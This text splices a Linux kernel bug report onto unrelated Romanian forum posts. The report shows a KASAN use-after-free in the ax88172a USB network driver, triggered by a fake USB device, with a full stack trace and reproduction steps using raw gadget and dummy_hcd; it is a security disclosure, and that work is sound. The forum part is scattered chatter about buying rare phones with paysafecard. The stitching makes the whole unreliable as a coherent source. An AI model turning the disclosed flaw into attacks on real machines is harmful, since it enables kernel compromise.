kvm(E) irqbypass(E) snd_hda_intel(E) crc32_pclmul(E) snd_intel_dspcfg(E) snd_intel_sdw_acpi(E) snd_hda_codec(E) iTCO_wdt(E) intel_pmc_bxt(E) iTCO_vendor_support(E) snd_hda_core(E) at24(E) mei_hdcp(E) watchdog(E) ghash_clmulni_intel(E) snd_hwdep(E) snd_pcm_oss(E) snd_mixer_oss(E) rapl(E) r8169(E) intel_cstate(E) intel_uncore(E) efi_pstore(E) pcspkr(E) realtek(E) snd_pcm(E) mdio_devres(E) i2c_i801(E) snd_timer(E) mei_me(E) i2c_smbus(E) snd(E) ehci_pci(E) sg(E) libphy(E) soundcore(E) ehci_hcd(E) mei(E) lpc_ich(E) button(E) msr(E) parport_pc(E) ppdev(E) parport(E) fuse(E) configfs(E) efivarfs(E) ip_tables(E) [ 149.353267] x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) dm_crypt(E) dm_mod(E) raid10(E) raid456(E) libcrc32c(E) crc32c_generic(E) async_raid6_recov(E) async_memcpy(E) async_pq(E) async_xor(E) xor(E) async_tx(E) raid6_pq(E) raid1(E) raid0(E) multipath(E) linear(E) md_mod(E) hid_generic(E) usbhid(E) hid(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) evdev(E) crc32c_intel(E) i915(E) i2c_algo_bit(E) ahci(E) xhci_pci(E) libahci(E) drm_kms_helper(E) xhci_hcd(E) cec(E) rc_core(E) libata(E) ttm(E) aesni_intel(E) crypto_simd(E) usbcore(E) scsi_mod(E) cryptd(E) scsi_common(E) drm(E) usb_common(E) video(E) [ 149.360796] ---[ end trace 0000000000000000 ]--- [ 149.362505] ------------[ cut here ]------------ In my test VM with a bunch of kernel debugging enabled, I get this KASAN splat (shown here without guess frames) when I attach the same fake USB device through an emulated HCD: BUG: KASAN: use-after-free in ax88172a_stop+0xab/0xc0 Read of size 8 at addr ffff88800c684e48 by task kworker/0:2/33 CPU: 0 PID: 33 Comm: kworker/0:2 Not tainted 5.17.0-rc4-00054-gf71077a4d84b #949 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 Workqueue: usb_hub_wq hub_event Call Trace: <TASK> dump_stack_lvl+0x45/0x59 print_address_description.constprop.0+0x1f/0x150 kasan_report.cold+0x7f/0x11b ax88172a_stop+0xab/0xc0 usbnet_stop+0x13d/0x390 __dev_close_many+0x18c/0x290 dev_close_many+0x18a/0x3f0 unregister_netdevice_many+0x2f8/0x1420 unregister_netdevice_queue+0x1dc/0x280 unregister_netdev+0x18/0x20 usbnet_disconnect+0x118/0x260 usb_unbind_interface+0x182/0x7e0 __device_release_driver+0x531/0x670 device_release_driver+0x26/0x40 bus_remove_device+0x2ae/0x570 device_del+0x490/0xb50 usb_disable_device+0x294/0x600 usb_disconnect.cold+0x1fb/0x68b hub_event+0x1472/0x39d0 process_one_work+0x91d/0x15d0 worker_thread+0x57b/0x1240 kthread+0x2a5/0x350 ret_from_fork+0x22/0x30 </TASK> Allocated by task 33: kasan_save_stack+0x1e/0x40 __kasan_kmalloc+0x81/0xa0 ax88172a_bind+0x95/0x7b0 usbnet_probe+0xa62/0x2370 usb_probe_interface+0x27d/0x760 really_probe+0x475/0xbd0 __driver_probe_device+0x18f/0x470 driver_probe_device+0x49/0x120 __device_attach_driver+0x199/0x250 bus_for_each_drv+0x125/0x1b0 __device_attach+0x1e0/0x3d0 bus_probe_device+0x1a5/0x260 device_add+0x971/0x1a70 usb_set_configuration+0x92b/0x1600 usb_generic_driver_probe+0x79/0xa0 usb_probe_device+0xab/0x250 really_probe+0x475/0xbd0 __driver_probe_device+0x18f/0x470 driver_probe_device+0x49/0x120 __device_attach_driver+0x199/0x250 bus_for_each_drv+0x125/0x1b0 __device_attach+0x1e0/0x3d0 bus_probe_device+0x1a5/0x260 device_add+0x971/0x1a70 usb_new_device.cold+0x47d/0xb88 hub_event+0x20c7/0x39d0 process_one_work+0x91d/0x15d0 worker_thread+0x57b/0x1240 kthread+0x2a5/0x350 ret_from_fork+0x22/0x30 Freed by task 33: kasan_save_stack+0x1e/0x40 kasan_set_track+0x21/0x30 kasan_set_free_info+0x20/0x30 __kasan_slab_free+0xe0/0x110 kfree+0xa5/0x2b0 usbnet_disconnect+0xe7/0x260 usb_unbind_interface+0x182/0x7e0 __device_release_driver+0x531/0x670 device_release_driver+0x26/0x40 bus_remove_device+0x2ae/0x570 device_del+0x490/0xb50 usb_disable_device+0x294/0x600 usb_disconnect.cold+0x1fb/0x68b hub_event+0x1472/0x39d0 process_one_work+0x91d/0x15d0 worker_thread+0x57b/0x1240 kthread+0x2a5/0x350 ret_from_fork+0x22/0x30 If you want to test this yourself, you can use the USB raw gadget (https://www.kernel.org/doc/html/latest/usb/raw-gadget.html) with dummy_hcd. Compile the attached testcase, then run it as \"./usb-ax88172a dummy_udc dummy_udc.0\", wait a few seconds for the device to come up, and press CTRL+C to trigger USB disconnect. This requires CONFIG_USB_DUMMY_HCD=y and CONFIG_USB_RAW_GADGET=y. Found by: jannh@google.com Source

Da, gen... Se gasesc greu

Am niste "dubii" vreau sa ma joc cu el, din ce am aflat cca. 90% cred ca sunt informatii reale, nu masini de cusut...

i-mi tre pentru altceva, am avut un 33610 mi l-au luat (CHF 11.90 parai), 63310 etc, n-am pretentii pentru Vertu Gold Edition, ma intereseaza altceva LE: August bro, stai la peleu nu in zapada

Salut, cumpar acest model de telefon (Figure1): Conditii: plata: paysafecard; livrare: easybox; stare buna. Figure 1 Astept oferte.